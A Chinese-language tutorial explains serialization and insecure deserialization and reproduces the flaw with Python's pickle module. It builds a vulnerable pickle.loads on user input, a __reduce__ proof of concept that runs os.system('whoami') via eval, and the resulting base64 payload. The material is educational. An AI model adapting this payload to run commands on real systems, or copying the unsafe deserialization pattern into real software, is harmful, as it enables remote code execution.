序列化和反序列化是指用于将对象或数据结构转换为字节流的过程,以便在不同系统之间进行传输或存储,并在需要时重新构造。
**序列化是指将对象或数据结构转换为字节流的过程。**在序列化过程中,对象的状态和数据被转换为一系列字节,这些字节可以按照一定的协议进行传输或存储。序列化通常用于将对象存储到磁盘或通过网络发送到其他系统。序列化后的字节流可以被保存下来,以后可以通过反序列化操作重新构建对象并恢复其状态和数据。
**反序列化是指将序列化后的字节流转换回对象或数据结构的过程。**在反序列化过程中,字节流被读取并解析,以还原为原始的对象或数据结构。反序列化通常用于从磁盘加载保存的对象或接收通过网络传输的序列化数据。通过反序列化,可以重新构建对象并恢复其之前序列化的状态和数据。
序列化和反序列化在许多领域都有广泛的应用,例如分布式系统、持久化存储、缓存机制以及跨平台通信。它们允许将复杂的对象或数据结构转换为字节流进行传输或存储,从而实现不同系统之间的数据交换和共享。
不安全的反序列化是指在反序列化过程中存在潜在安全风险的情况,如果序列化的内容可控,在传递给应用进行反序列化时,可能会导致执行恶意代码或触发其他不受控制的行为。
以下是一些常见的不安全反序列化的情况:
网上大多是采用的php进行复现,一搜一大堆,这里我们用Python的pickle
模块来进行复现。
参考 doc,可见是一个序列化模块。
基础使用如下:
import pickle
# 定义一个对象
class Person:
def \_\_init\_\_(self, name, age):
self.name = name
self.age = age
# 创建一个 Person 对象
person = Person("d4m1ts", 18)
# 序列化对象
serialized\_data = pickle.dumps(person)
# 序列化后的二进制数据
print(f"序列化后的数据: {serialized\_data}", end="\n\n")
# 反序列化数据
deserialized\_person = pickle.loads(serialized\_data)
# 访问反序列化后的对象属性
print(f"反序列化后的对象所属类: {deserialized\_person.\_\_class\_\_}")
print(f"name: {deserialized\_person.name}") # 输出: d4m1ts
print(f"age: {deserialized\_person.age}") # 输出: 18
在Python中,\_\_reduce\_\_()
是一个特殊方法,用于定义对象的序列化行为。当使用pickle
模块对对象进行序列化和反序列化时,\_\_reduce\_\_()
方法会被调用。
\_\_reduce\_\_()
方法应该返回一个元组()
,其中包含两个或三个元素。元组的第一个元素是用于重新构建对象的函数,第二个元素是传递给构建函数的参数(通常是一个元组),而第三个元素(可选)是用于恢复对象状态的可迭代对象。
简单来说,我们可以通过重写\_\_reduse\_\_()
函数,来修改数据反序列化的方式。
修改刚才的代码,举例如下:
import pickle
# 定义一个对象
class Person:
def \_\_init\_\_(self, name, age):
self.name = name
self.age = age
def \_\_reduce\_\_(self):
print("Calling \_\_reduce\_\_()")
# return (self.\_\_class\_\_, (self.value,))
return (print, ("reduse poc test",))
# 创建一个 Person 对象
person = Person("d4m1ts", 18)
# 序列化对象
serialized\_data = pickle.dumps(person)
# 序列化后的二进制数据
print(f"序列化后的数据: {serialized\_data}", end="\n\n")
# 反序列化数据
deserialized\_person = pickle.loads(serialized\_data)
# 访问反序列化后的对象属性
print(f"反序列化后的对象所属类: {deserialized\_person.\_\_class\_\_}")
print(f"name: {deserialized\_person.name}") # 输出: d4m1ts
print(f"age: {deserialized\_person.age}") # 输出: 18
可见在反序列化的时候,调用的是我们重写时用的print
方法。
假设漏洞场景代码如下,其中userInput
是我们可以控制输入的地方:
import pickle
import base64
class Person:
def \_\_init\_\_(self, name, age):
self.name = name
self.age = age
userInput = ""
deserialized\_person = pickle.loads(base64.b64decode(userInput))
print(f"反序列化后的对象所属类: {deserialized\_person.\_\_class\_\_}")
根据上述代码,构造POC代码,生成序列化的内容,其中编写\_\_reduse\_\_()
函数如下:
import pickle
import base64
class Person:
def \_\_init\_\_(self, name, age):
self.name = name
self.age = age
def \_\_reduce\_\_(self):
return (eval, ('\_\_import\_\_("os").system("whoami")',))
person = Person("d4m1ts", 18)
serialized\_data = pickle.dumps(person)
print(base64.b64encode(serialized\_data).decode())
得到payload为: gANjYnVpbHRpbnMKZXZhbApxAFghAAAAX19pbXBvcnRfXygib3MiKS5zeXN0ZW0oIndob2FtaSIpcQGFcQJScQMu
把payload插入漏洞场景测试一下:
import pickle
import base64
class Person:
def \_\_init\_\_(self, name, age):
self.name = name
self.age = age
userInput = "gANjYnVpbHRpbnMKZXZhbApxAFghAAAAX19pbXBvcnRfXygib3MiKS5zeXN0ZW0oIndob2FtaSIpcQGFcQJScQMu"
deserialized\_person = pickle.loads(base64.b64decode(userInput))
print(f"反序列化后的对象所属类: {deserialized\_person.\_\_class\_\_}")
可见成功执行了系统命令。
总结一下复现过程,就是写一个
\_\_reduse\_\_
函数来改变反序列化的行为即可。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。